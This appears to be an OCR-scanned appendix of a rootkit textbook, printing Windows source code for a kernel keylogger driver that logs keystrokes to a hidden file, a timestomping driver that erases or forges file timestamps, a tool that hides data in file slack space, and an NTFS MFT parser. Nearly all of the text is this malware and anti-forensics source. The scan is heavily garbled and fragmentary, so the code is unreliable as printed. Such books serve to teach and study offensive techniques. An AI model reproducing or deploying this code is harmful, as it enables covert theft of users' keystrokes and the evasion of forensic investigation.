sharedArray. currentIndex=0;
/ /give back the mutex so other threads can grab it i f(KeReleaseMutex(&(sharedArray. mutex), FALSE) ! =0)
{
DbgMsg( "modArray", "mutex was not released properly"); } return(nElements) ; }/*end modArray() - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void addEntry(KEYBOARD_INPUT_DATA entry)
{
modArray(ACTION_AOO, &entry, NULL);
return;
}/*end addEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / DWORD dumpArray(KEYBOARD_INPUT_DATA *destination) { return (modArray(ACTION_DMP ,NULL, destination) ) ; }/*end dumpArray() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --* /
/*- -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - --+
I
WorkerThread.c
I
I I I I
{
BYTE writeBuffer[SZ_SHARED_ARRAY*20j; DWORD i; KEYBOARD _INPUT_DATA keyData; USHORT code; USHORT flags; / /convert stream of scan codes into an ASCII string writeBuffer[0]=' \0' ; for(i=0;i <nElements; i++)
{
keyData = workerThread . buffer[ij; code = (workerThread. buffer[ i]) MakeCode; flags = (workerThread . buffer [ i]) Flags; i f( (code >=0)&&( code<SZ_TABLE
Appendix
I 849
Appendix / Chapter 8
return;
}/*writeToLog() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *I VOID threadMain (IN PVOID pContext ) { while(TRUE) { Il if kill switch has been pulled (by main thread), terminate this thread if(workerThread . keepRunning == FALSE) { DWORD nElements; DbgMs g( "threadMain ", " harvesting remainder of buffer") ; nEleme nts = dumpArray(workerThread. buffer) ; DBG]RINT2 (" [threadMain] : elements dumped = %d\n", nElements); wri t eToLog(nElements); DbgMs g( "threadMain" , "worker terminating"); PsTerminateSystemThread (STATUS_SUCCESS) ;
Ilc heck array to s ee if it' s full e nough to harvest data if(isBufferReady( )==TRUE) { DWORD nElement s ;
850
Appendix
Project: Kilogr-V02
DbgMsg( "threadMain", "buffer is ready to be harvested"); nElements = dumpArray (workerThread. buffer) ; DBG_PRINT2(" [threadMain] : elements dumped = %d\n" ,nElements); writeToLog(nElements) ;
return;
}/*end threadMain() - - - - - - - - - - - - - - - -- - - - - - -- - - - - -- - - - - -- - - - -- - - - - - - - - - - - - - - - - -* I
void initLogFile() { CCHAR STRING UNICODE_STRING IO_STATUS_BLOCK OBJECT_ATTRIBUTES NTSTATUS
fileName [32] = " \\DosDevices \\c: \\KiLogr. txt" ; fileNameString; unicodeFileNameString; ioStatus; attributes; ntStatus;
RtlIni tAnsiString(&fileNameString, fileName); RtlAns iStringToUnicodeString ( &unicodeFileNameString, &fileNameString, TRUE ); InitializeObjectAttributes ( &attributes, &unicodeFileNameString, OBJ_CASE_INSENSITIVE , NULL , NULL ); ntStatus = ZwCreateFile ( &( workerThread .1ogF ile) , GENERIC_WRITE, &attributes, &ioStatus, NULL, FILE_ATTRIBUTE_NORMAL,
I lOOT POOJECT_ATTRIBUTES InitializedAttributes IIIN PUNICODE_STRING ObjectName I lIN ULONG Attributes I lIN HANDLE RootDirectory I lIN PSECURITY_DESCRIPTOR SecurityDescriptor
e,
llooT PHANDLE FileHandle I lIN ACCESS_MASK DesiredAccess I lIN POBJECT_ATTRIBUTES ObjectAttributes I l OOT PIO_STATUS_BLOCK IoStatusBlock I lIN PLARGE_INTEGER AllocationSize OPTIONAL I lIN ULONG FileAttributes I/IN ULONG ShareAccess I lIN ULONG CreateDisposition I lIN ULONG CreateOptions IIIN PVOID EaBuffer OPTIONAL I lIN ULONG EaLength
); RtlFreeUnicodeString(&unicodeFileNameString) ; if( !NT_SUCCESS(ntStatus -{ DBG_ PRINT2("[initLogFile]: ioStatus . Information=%X", ioStatus. Information); worker Thread . 1ogFile = NULL;
return ;
Appendix / Chapter 8
ntStatus = PsCreateSystemThread ( &workerThread. threadHandle, 110UT PHANOLE ThreadHandle (ACCESS_MASK)0, II IN ULONG DesiredAccess NULL, IIIN POBJECT_ATTRIBUTES ObjectAttributes (HANDLE)0, IIIN HANOLE ProcessHandle OPTIONAL NULL, 110UT PCLIENT_ID ClientId OPTIONAL threadMain, IIIN PKSTART_ ROUTINE StartRoutine NULL IIIN PVOID StartContext ); if(! NT_SUCCESS(ntStatus { DbgMsg( " initWorkerThread" , "PsCreateSystemThread () failed "); return (ntStatus);
OPTIONAL
Iineed an object reference to thread for destruction routine ntStatus = ObReferenceObjectByHandle ( workerThread. threadHandle, IIIN HANOLE Handle THREAD_ALL_ACCESS, II IN ACCESS_MASK DesiredAccess NULL, II IN POBJECT_TYPE ObjectType OPTIONAL KernelMode, IIIN KPROCESSOR_I'JOE AccessMode &workerThread. threadObjptr, 110UT PVOID *Object MJLL 110UT POBJECT_HANOLE_INFDRMATION HandleInfonnation OPTIONAL ); if( !NT_SUCCESS(ntStatus { DbgMsg( "initWorkerThread ", "ObReferenceObjectByHandle() failed"); return (ntStatus); Iithis keeps the thread' s main processing loop alive workerThread. keepRunning = TRUE; ini tLogFile () ;
r eturn(STATUS_SUCCESS) ;
Il remove keep-alive switch (allows thread to terminate itself) workerThread . keepRunning = FALSE; Ilblock current thread until the worker thread terminates KeWaitForSingleObject ( workerThread. threadObjptr, Executive, KernelMode, FALSE, NULL ); Ilclose log file ZwClose(workerThread .1ogFile);
return;
852
Appendix
Project: KiLogr-V02
scancodes ,h
I
I I I I I
- - -- - - - -- - - -- - - - -- - - - - -- - - - -- - - - - -- - - - - - -- - - - - - - -- - - - - -- - - - - - -- - - - - - -- - - - - -- -, I
#define SZ_TABLE exS3 char' table[SZ_TABLE) { Iist ring scancode II Hex Decimal
"6",
"7") "8",
"g"J
e1
e2
e3 84
e5
e6 e7 e9
e8
1e 11 12 13
"e",
= ,
IleB
I lee
14
15 16
17
18
"r",
"t") "y", "u")
"i") "0",
"p", "[", ")", "[ENTER)" , "[CTRL)", "a" , "s" J "d", "f" , "g", "h", "j ", "k", "1", "." , , "\ "',
,
"[ LSHIFT) ",
" \\ " ,
"z", "x",
"c")
" V "J
"/" ,
1112 1113 1114 Il lS 1116 1117 1118 1119 lilA 111B 111C 1110 111E 111F 112e 1/21 1122 1123 1124 1125 1126 1127 1128 1129 112A 42 112B 112C 1120 112E 112F 113e 1131 1132 1133 1134 1135
19
2e
21 22 23 24 25 26 27 28 29
3e 31
32
33
34
35 36
37
38
39
4e
41
43 44
45
46
47
48 49
5e
51 52
53
Appendix
I 853
II
Appendix I Chapter 10
"[ RSHIFT)", "[INVALID)", "[ALT)", "[ SPACE)" , "[INVALID)" , "[INVALID)", "[INVALID)" , "[INVALID) " , "[INVALID)" , "[INVALID)" , "[INVALID)", "[INVALID)", "[INVALID)", "[INVALID)", "[INVALID)" , "[INVALID)", "[INVALID)" , "7")
"S"}
//48
/ / 41 // 42 // 43
//44
// 45 // 46 // 47 //48 //49 //4A //48 //4C //4D //4E / / 4F / / 58 / /51 / /5 2
"g", "[INVALID)" ,
"4"J
"5" J
"6", "[INVALID)",
"1") "2")
"3")
"13")
54 55 56 57 58 59 68 61 62 63 64 65 66 67 68 69 78 71 72 73 74 75 76 77 78 79 88 81 82
};
Chapter 10
Proied: TSMod
Files: kmd.c
/ /Sys tem-Wide includes- - - ----- - -- ---- - ----- - ------ - ----- - - - --- - - ------------ --#include "ntddk. h" / / Rootkit Common includes-- - - ----- - - ----- - ----- - - ----- - ------ - ------ ------ -- --#include "types . h" / /KI'D-Specific includes- -- - - ---- - - ------ - ----- - ------ - ----- - ----- - ---- - - ----- -#include "dbgmsg .c "
// ------------------------------------------------------------------------ --- -/ / Dispatch Routines--- - - - ---- - - - ---- - - ----- - ----- - - ---- - - ---- - - - --- - - ----- - ----
(
IN PDEVICE_08JECT IN PIRP pDeviceObject, pIRP / / pointer to Device Object st r ucture / / pointer to I/O Request Packet structure
854 I Appendix
Project: TSMod
*1
FILE_ BASIC_INFORMATION getSystemFileTimeStamp() { UNICODE_STRING fileName; OBJECT_AITRIBUTES objAttr ; HANDLE handle; NTSTATUS ntstatus; IO_STATUS_BLOCK ioStatusBlock; FILE_BASIC_INFORMATION fileBasicInfo ; RtlInitUnicodeString(&fileName, L" \ \DosDevices\ \C : \ \bootmgr") ; InitializeObjectAttributes ( &objAttr, &fileName , OBJ_CASE_ INSENSITIVE NULL, NULL );
OBJ_ KERNEL_HAI'llLE,
I lOUT POBJECT_AITRIBUTES I lIN PUNICODE_STRING I lIN ULONG Attributes I lIN HAI'llLE RootDirectory I lIN PSECURITY_DESCRIPTOR
i f(KeGetCurrentIrql() ! =PASSIVE_LEVEL)
{
DbgMsg("getSystemFileTimeStamp " , "Must be at passive IRQL") ;
}
DbgMsg( "getSystemFileTimeStamp" , "Initialized attributes"); ntstatus = Z...openFile ( &handle, FILE_WRITE_AITRIBUTES, &objAttr, &i oStatusBlock ,
e,
FILE_SYNCHRONOUS_IO_NONALERT ); i f(ntstatus! =STATUS_SUCCESS)
I lOUT PHANDLE I lIN ACCESS_MASK DesiredAccess I lIN POBJECT_AITRIBUTES llOUT PIO_STATUS_BLOCK I lIN ULONG ShareAccess I lIN ULONG CreateOptions
{
DbgMsg("getSystemFileTimeStamp" , "Could not open file") ;
}
DbgMsg( "getSystemFileTimeStamp", "opened file"); ntstatus = Z~eryInformationFile ( handle, I lIN HANOLE FileHandle &ioStatusBlock , I lOUT PIO_STATUS_BLOCK IoStatusBlock &fileBas i cInfo, I lIN PVOID FileInformation sizeof (fileBasicInfo) , I lIN ULONG Length FileBasicInformation I lIN FILE_INFORMATION_CLASS ); i f(ntstatus! =STATUS_SUCCESS)
{
DbgMsg( "getSystemFileTimeStamp", "Could not set file information"); fileBasic Info.CreationTime . LowPart=l; fileBasicInfo. Creation Time . HighPart=0;
Appendix
I 855
Appendix / Chapter 10
fileBasicInfo. LastAccessTime. LowPart=l; fileBasicInfo. LastAccessTime. HighPart=0; fileBasicInfo. LastWri teTime. LowPart=l; fileBasicInfo. LastWri teTime. HighPart=0; fileBasicInfo. Change Time. LowPart=l; fileBasicInfo. Change Time. HighPart=0; fileBasicInfo. FileAttributes = FILE ATIRIBUTE NORMAL; return(fileBasicInfo); -
1*
See MS KB-89180S If wipe == TRUE If wipe == FALSE erase timestamp set timestamp to that of other system files
*1
void processFile(IN PCWSTR fullPath, IN BOOLEAN wipe) { UNICooE_STRING fileName; objAttr; OBJECT_ATIRIBUTES handle; HANDLE ntstatus; NTSTATUS ioStatusBlock; IO_STATUS_BLOCK FILE_BASIC_INFORMATION fileBasicInfo; RtlIni tUnicodeString(&fileName, fullPath); InitializeObjectAttributes ( &objAttr, &fileName, OBJ_CASE_INSENSITIVE OBJ_KERNEL_HANDLE, NULL, NULL );
llOUT POBJECT ATIRIBUTES I lIN PUNICooE=STRING I lIN ULONG Attributes I/IN HANDLE RootDirectory I lIN PSECURITY_DESCRIPTOR
if(KeGetCurrentIrql()! =PASSIVE_LEVEL) { DbgMsg("processFile","Must be at passive IRQL"); } DbgMsg( "processFile", "Initialized attributes"); ntstatus = Z...openFile ( I lOUT PHANDLE &handle, I lIN ACCESS_MASK DesiredAccess FILE_WRITE_ATIRIBUTES &objAttr, I lIN POBJECT_ATIRIBUTES &ioStatusBlock, llOUT PIO_STATUS_BLOCK I/IN ULONG ShareAccess 0, I lIN ULONG CreateOptions FILE_SYNCHRONOUS_IO_NONALERT ); if(ntstatus! =STATUS_SUCCESS) { DbgMsg( "processFile" ,.Could not open file"); } DbgMsg( "processFile", "opened file"); if(wipe) { fileBasicInfo. Creation Time . LowPart=l; fileBasicInfo. Creation Time . HighPart=0;
856
Appendix
Project: TSMod
fileBasiclnfo.LastAccessTime.LowPart=l; fi leBasiclnfo . LastAccessTime. HighPart=B; fileBas iclnfo . LastWriteTime . LowPart=l; fileBasiclnfo. LastWri teTime. HighPart=B; fileBas ic lnfo .ChangeTime. LowPart=l; fileBasiclnfo.ChangeTime.HighPart =B; fileBasiclnfo. FileAttributes = FILE_ATIRIBUTE_NORMAL; else { fileBasiclnfo = getSystemFileTimeStamp();
ntstatus = ZwSetInformationFile
(
I lIN HANDLE
FileHandle
llOUT PIO_STATUS_BLOCK
IIIN
if(ntstatus! =STATUS_SUCCESS) { DbgMsgCprocessFile", Could not set file information"); } DbgMsgCprocess File", "Set file timestamps "); ZwClose(handle) ; DbgMsg( "processFile", "Closed handle"); return; }/*end processFile() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - -* I VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgMsg("OnUnload" , "Received signal to unload the driver"); DbgMsg( "OnUnload " , "Driver clean-up completed- - - - - - - - - - - - - - - - - - - - - - - - - - .. );
Append ix
I 857
Appendix / Chapter 10
Proied: Slack
Files: slack.c
/ / [System Include]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include <windows.h > #include <stdio . h> / / [Globals]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -DI-.ORD SectorsPerCluster = e; DI-.ORD BytesPerSector = e; DI-.ORD NumberOfFreeClusters = e; DI-.ORD TotalNumberOfClusters = e; #define SZ_BUFFER
2000
/ / [Core Routines]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void GetDriveParameters() { BOOL ok; ok = GetDiskFreeSpace ( NULL, &SectorsPerCluster, &BytesPerSector, &NumberOfFreeClusters, &TotalNumberOfClusters ); if( !ok) { printf("GetDiskFreeSpace() Failed\n"); return;
printf( "Sectors per cluster [%4d]\n", SectorsPerCluster); printf("Bytes per Sector [%4d]\n ", BytesPerSector); return ; }/* end GetDriveParameters () - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ void writeSlack() { BOOL ok ; HANDLE tokenHandle; HANDLE fileHandle; TDKEN]RIVILEGES tokPriv; LUID luid ; DI-.ORD lowDrderBytes; char buffer[SZ_BUFFERJ; DI-.ORD nBytesWritten; int i; for(i=e ; i <SZ_BUFFER;i++){ buffer[i]='p'; } / /make sure we have the SE_MANAGE_VDLlX'1E_NAME privilege ok = DpenProcessToken
(
8S8
Appendix
Project: Siock
);
return;
tokPriv. PrivilegeCount = 1; tokPri v . Privileges [e] . Luid = luid ; tokPri v . Privileges [e] . Attributes = SE_PRIVILEGE_ENABLED; ok = AdjustTokenPrivileges ( tokenHandle, FALSE, &tokPriv, sizeof(TOKEN]RIVILEGES) , (PTOKEN_PRIVILEGES) NULL, (PD't.ORD) NULL ); if( !ok) { printf( "AdjustTokenPrivileges() Failed\n"); return;
e,
NULL, OPEN_EXISTING ,
e,
NULL ); i f( fileHandle==INVALID_HANDLE_VALUE) { printf( "CreateFile() failed\n");
return ;
/ /set the FP to the end of the file lowOrderBytes = SetFilePointer ( fileHandle, / /HANDLE hFile, //LONG lDistanceToMove, / /PLONG lpDistanceToMoveHigh, / /o..oRD dw'IoveMethod ); if (lowOrderBytes==INVALID_SET_FI LE]OINTER) { printf("SetFilePointer() failed\n");
return;
ok = Write File
Appendix 1859
Appendix / Chapler 10
llHANDLE hFile I I LPCVOID lpBuffer II DWORD nNumberOfBytesToWri te I I LPDWORD lpNumberOfBytesWri tten II LPOVERLAPPED lpOverlapped
}/'e nd writeSlack() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, I
I I [Entry Point] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void main(int argc, char' argv[J) { GetDriveParameters (); writeSlackO; return; }I'e nd main ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, I
. roied: Mn P
Files: mft.c
IISystem-Wi de includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "ntddk. h" #include "math . h"
I I Root kit Cornnon includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - --
860
Appe11 di x
Project: MFT
I IGlobals- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --11-------- - ------ - - - - -- -- ----------------------------- ------------------------#pragma pack(l) typedef struct _BOOTS ECTOR { BYTE jmp[ 3] ; BYTE oemID [8] ; I I BPB- - - - - - - - - - - - - - - - - - - - - - - - - - - WORD bytes PerSector; BYTE sectoresPe rCluster; WORD reser vedSectors; BYTE fille r_1[28] ; I I EBPB- - - - - - - - - - - - - - - - - - - - - - - - - - BYTE filler _2 [ 4]; LONG LONG totalDi s kSe ctors ; LONG LONG mftLCN; LONGLONG MftMirrLCN; BYTE clus tersPerMFTFileRecord; BYTE filler _3[ 3]; BYTE clust e rsPerMFTInde xRecord; BYTE filler _4[3]; LONGLONG volumeSN; BYTE fill e r _5[ 4]; II Boostrap Code- - - - - - - - - - - - - - - - -BYTE code [ 426]; WORD endOf5ector; }BOOTSECTOR, *PBOOTSECTOR ; #pragma pack () #define SZ_SECTOR 512 typedef struct _SECTOR { BYTE buffe r[ SZ_SECTOR]; }SECTOR, *PSECTOR ; II Record Type s #define MFTJILE #define MFT_INDX #define MFT_HOLE #def i ne MFT_RSTR #defin e MFT_RCRD #defin e MFT_ CHKD #define MFT_BAAD #define MFT_empty #define MFT_ZERO
1111+25 = 36
II SN
= Serial Number
#define SZ_MFT_HEADER 48 #pragma pack( l) typedef s truct _MFT_HEADER { DWORD magic ; 11 [84] WORD usOffs et ; I I [86] WORD usSize ; I I [88] LONG LONG lsn ; 11 [16] WORD seqNumbe r; 11 [18] WORD nLinks; 11 [28] WORD attrOffset ; // [22] WORD flag s; 11 [24]
Record type (magic number) offset to Update Sequence Size in words of Update Sequence Number & Array $LogFile sequence number for this record Number of times this mft record has been reused Number of hard links to this file Byte offset to the first attribute in this mft record 8x81 Record is in use, 8x82 Record is a directory
Appendix
I 861
Appendix / Chapter 10
DWORD bytesUsed; / /[28] Number of bytes used by this mft record DWORD bytesAlloc; / /[32] Number of bytes allocated for this mft (mult . of cluster size) LONGLONG baseRec; //[40] File reference to the base FILE record WORD nextID; / / [42] Next attribute id //Windows XP and above --- ------ - ---------------- - -------WORD reserved; / / [44] Reserved for alignment purposes DWORD recordNumber ; //[48] Number of this mft record. }MFT_HEADER, *PMFT_HEADER; #pragma pack()
25
0xeeeeee10 0xeeeeee30
#define SZ_ATIRIBUTE_HDR 24 #pragma pack(l) typedef struct _ATIR_HEADER { DWORD type; / /[4] DWORD length; //[4] BYTE nonResident ; / /[1] BYTE nameLength; / / [1] WORD nameOffset ; / / [2] WORD flags; / / [2] WORD attrID; / /[2] DWORD valueLength; //[4] WORD valueOffset; / /[2] BYTE Indexedflag; / / [1] BYTE padding; //[1] }ATIR_HEADER , *PATIR_HEADER ; #pragma pack ()
Attribute type Length of attribute (including header) Nonresident flag Size of attribute name (in wchars) Byte offset to attribute name Attribute flags Each attribute has a unique identifier Length of attribute (in bytes) Offset to attribute Indexed flag Padding
#defi ne SZ_ATIRIBUTE_FNAME 576 #pragma pack(l) typedef struct _ATIRJNAME { LONG LONG ref; LONG LONG cTime ; LONG LONG aTime; LONGLONG mTime; LONGLONG rTime; LONG LONG bytesAlloc; LONG LONG bytesUsed ; DWORD flags ; DWORD reparse; BYTE length ; BYTE nspace; WORD fileName[SZJILENAME]; }ATIRJNAME , *PATIR_FNAME ; #pragma pack()
/ /[8] File reference to the parent directory / /[8] C Time - File Creation / /[8] A Time File Altered //[8] M Time File Changed //[8] R Time - File Read //[8] Number of bytes allocated on disk / / [8] Number of bytes used by file //[4] Flags / / [4] Used by EAs and reparse //[1] Size of file name in characters //[1] Namespace / /[255] First char of file name
.I / - -- - - - -- - -- - - - - -- - - - -- - - - - -- - - - - - -- - - - - -- - - - - -- - - - - - - -- - - - -- - - - - -- - - - - - -- - - -/ /Dispatch Routines - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ---------
862
Appen di x
Project: MFT
return(STATUS_SUCCESS) ;
}/*end defaultDispatch() - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - - -- - - - -* I
I 1- ------------------------------------------------------------------- ------- -BOOLEAN getNextSector ( HANDLE handle, PSECTOR sector, PLARGE_INTEGER byteOffset
NTSTATUS IO_STATUS_BLOCK
ntstatus; ioStatusBlock;
ntstatus = ZwReadFile ( handle, I lIN HANDLE FileHandle NULL, I/IN HANDLE Event (Null for drivers) I lIN PIO_APC_ROUTINE ApcRoutine (Null for drivers) NULL, NULL, I lIN PVOID ApcContext (Null for drivers) &ioStatusBlock, llOUT PIO_STATUS_BLOCK IoStatusBlock llOUT PVOID Buffer (PVOID) sector, sizeof(SECTOR) , I lIN ULONG Length byteOffset , IIIN PLARGE_INTEGER ByteOffset OPTIONAL I/IN PULONG Key (Null for drivers) NULL ); i f(ntstatus! =STATUS_SUCCESS)
{
return(FALSE) ;
}
return(TRUE) ;
{
i f(header . magic==MFT_ZERO)
{
header. bytesUsed = exeeeeeeee; header . bytesAlloc = exooeoo4OO;
}
return( header) ; }/*end filterEmptyMFTHeader() - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - -- - - - -- - - - - - --* I MFT_HEADER extractMFTHeader(PSECTOR sector)
{
BYTE buffer[SZ_MFT_HEADERJ; PMFT_HEADER header; OIo.ORD i; for(i=e; i<SZ_MFT_HEADER; i++)
{
buffer[i) = ("sector) . buffer[i);
}
header = (PMFT_HEADER)&buffer; " header = fil terEmptyMFTHeader( " header) ; return( " header); }/"end extractMFTHeader() - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - - - - - - - - - - - - - - -" I void printMFTHeader(MFT_HEADER header)
{
switch(header.magic)
{
case MFTJILE :
Appendix 1863
Appendix / Chapter 10
{
DbgMsg( "printMFTHeader ", "Type = INDX"); }break; case MFT_HOLE : { DbgMsg( "printMFTHeader", "Type = HOLE"); }break; case MFT_RSTR:
{
DbgMsg( "printMFTHeader", "Type = RSTR"); }break; case Mn_RCRD: { DbgMsg( "printMFTHeader", "Type = RCRD"); }break; case MFT_CHKD:
{
DbgMsg( "printMFTHeader", "Type = CHKD"); }break; case MFT_BAAD:
{
DbgMsg( "printMFTHeader", "Type = BAAD"); }break; case MFT_empty:
{
DbgMsg( "printMFTHeader", "Type = empty"); }break; case MFT_ZERD: { DbgMsg("printMFTHeader", "Type = ZEROES"); }break; default : { DbgMsg( "printMFTHeader", "Type = ????"); }break;
DBG]RINT2(" [printMFTHeader] : offset to 1st Attribute = %d", header . attrOffset); if(header . flags & 0x01){ DbgMsgCprintMFTHeader", "Record is in use") ;} if(header. flags & 0x02){ DbgMsg("printMFTHeader" ,.Record represents a directory") ;} DBG]RINT2(" [printMFTHeader]: bytes used = %ld" ,header . bytesUsed) ; DBG]RINT2C [printMFTHeader]: bytes allocated = %ld",header. bytesAlloc);
return;
}/*end printMFTHeader() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / ATTR_HEADER extractAttribHeader ( DWORD start, DWORD end, BYTE ' sectorBytes ) (. BYTE buffer[SZ_ATTRIBUTE_HDR]; PATTR _HEADER header; DWORD i; for(i=start;i <end;i++){ buffer[i-start] sectorBytes[i];} header = (PATTR_HEADER )&buffer; return( ' header); }/'end extractAttributeHeader() - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' /
864 I Appendix
Project: MFT
BYTE buffer[SZ_ATTRIBUTEJNAME]; PATTRJNAME attrib; D'nORD i; for(i=start; i<end; i++ H buffer[i-start] sectorBytes[i];} attrib = (PATTRJNAME)&buffer; return( *attrib); }/*end extractAttributeHeader() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -* /
/*
Most FILE records (which represent files and directories) have following format MFT Entry Header Attribute Attribute Attribute Attribute End Marker
0x10 $STANDARD_INFORMATION 0x30 $FILE_NAME filename 0xS0 $SECURITY_DESCRIPTOR 0xS0 $DATA [Unnamed] 0xFFFFFFFF
*/
#define SZ_MSG 32 void getRecordFileName ( MFT_HEADER mftHeader, SECTOR sector, WCHAR *fileName
D'nORD start; D'nORD end; ATTR_HEADER attrHeader; ATTR FNAME attrFName; WCHAR msg0[SZ_MSG] =L"Wrong record type"; WCHAR msgl[SZ_MSG] =L"Attribute out of order"; D'nORD i; / / we only perform this for FILE MFT records (we know the expected form) if(mftHeader . magic !=MFTJILE) { for(i=0 ; i <SZ_MSG ; i++ HfileName[i] = msg0[iJ;} return ;
/ /get header of first attribute (Le., header of $STANDARD_INFORMATION) start = mftHeader . attrOffset; end = start + SZ_ATTRIBUTE_HDR ; attrHeader = extractAttribHeader(start, end, sector. buffer); i f(attrHeader. type! =ATTR_STANDARD_INFORMATION) { for(i=0 ; i <SZ_MSG; i++ HfileName[i] = msgl[iJ;}
return ;
} DbgMsg(" getRecordF ileName " , "$STANDARD_INFORMATION" ) ;
/ / get header of second attribute (Le., header of $FILE_NAME) start = start + attrHeader . length; end = start + SZ ATTRIBUTE HDR ; attrHeader = extractAttribHe;;der(start, end, sector. buffer);
Appendix
I 865
Appendix / Chapter 10
H(attrHeader. type! =ATIRJILE_NAME) { for(i=B; i<SZ_MSG; i++ HfileName[i] = msgl[i];} return; } DbgMsg( '"getRecordFileName '", '"$FI LE_NAME'"); / /d rill down into second attribute value (actual filename) start = start + attrHeader. valueOffset; end = start + SZ ATIRIBUTE FNAME; attrFName = extractAttribFNa~(start, end, sector. buffer); DBG]RINT2( '" [getRecordF ileName]: file name length = %d", attrFName . length ) ; for(i=B; i<attrFName . length; i++) { fileName[i] = attrFName.fileName[ij; } fileName[i] = BxOOOO;
return;
}/*end getRecordFileName() - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - --- - - - -* / BOOLEAN checkMFTRecordType(MFT_HEADER header) { switch(header .magic) { case MFTJILE: { return(TRUE) ; }break; case MFT_INDX: { return(TRUE) ; }break; case MFT_HOLE: { return(TRUE) ; }break; case MFT_RSTR: { return(TRUE) ; }break; case MFT_RCRD : { return(TRUE) ; }break; case MFT_CHKD: { return (TRUE) ; }break; case MFT_BAAD : { return(TRUE) ; }break; case MFT_empty: { return(TRUE) ; }break; case MFT_ZERO: { return(TRUE) ; }break; default : { return(FALSE) ;
866
Appendix
Project: MFT
}break;
}/*end checkMFTRecordType( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
void processMFT(BooTSECTOR bsector, HANDLE handle) { LONGLONG i; BOOLEAN ok; SECTOR sector ; MFT HEADER mftHeader; LARGE_INTEGER mftByteOffset; L" -- Not A File-- "; WCHAR fileName[SZJILENAME+1] DWORD count;
I Iget byte offset to first MFT record from boot sector mftByteOffset .QuadPart bsector. mftLCN; mftByteOffset . QuadPart mftByteOffset . QuadPart * bsector . sectoresPerCluster ; mftByteOffset .QuadPart mftByteOffset. QuadPart * bsector. bytesPerSector;
count = e; DBG]RINT2( "\n[proces sMFT]: record at offset = %I64X" ,mftByteOffset .QuadPart); ok = getNextSector( handle, §or, &mftByteOffset) ; if( !ok) { DbgMsg("processMFT"' , "failed to read 1st MFT record " ) ;
return;
Ilread first MFT and attributes DBG]RINT2( " [processMFT]: Record[% 7d]", count); mftHeader = extractMFTHeader(§or); printMFTHeade r (mftHeader) ; Ilget record's fileName and print it (if possible) getRecordFileName(mftHeader, sector, fileName); DBG]RINT2( " [processMFT]: fileName = %5", fileName);
while(TRUE) { mftByteOffset. QuadPart = mftByteOffset. QuadPart + mftHeader. bytesAlloc; DBG]RINT2( "\n[processMFT]: record at offset = %I64X" ,mftByteOffset .QuadPart); ok = getNextSector( handle, §or , &mftByteOffset) ; if( !ok) { DbgMsg( "processMFT", "failed to read MFT record");
return;
count++ j DBG_ PRINT2(" [processMFT]: Record[% 7d]" , count); mftHeader = extractMFTHeader(§or); ok = checkMFTRecordType(mftHeader); if( !ok) { DbgMsg( "processMFT", "Reached a non-valid record type");
return ; } printMFTHeader(mftHeader) ;
getRecordFileName(mftHeader, sector, fileName); DBG]RINT2(" [proces sMFT] : fileName = % , fileName); 5"
}I*e nd processMFT() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- -* /
/*
return;
A pen di X p
I 867
Appendix I Chapter 10
Can verify this against C: \Users\sysop>fsutil fsinfo ntfsinfo c: */ void printBootSector(BOOTSECTOR bsector)
{
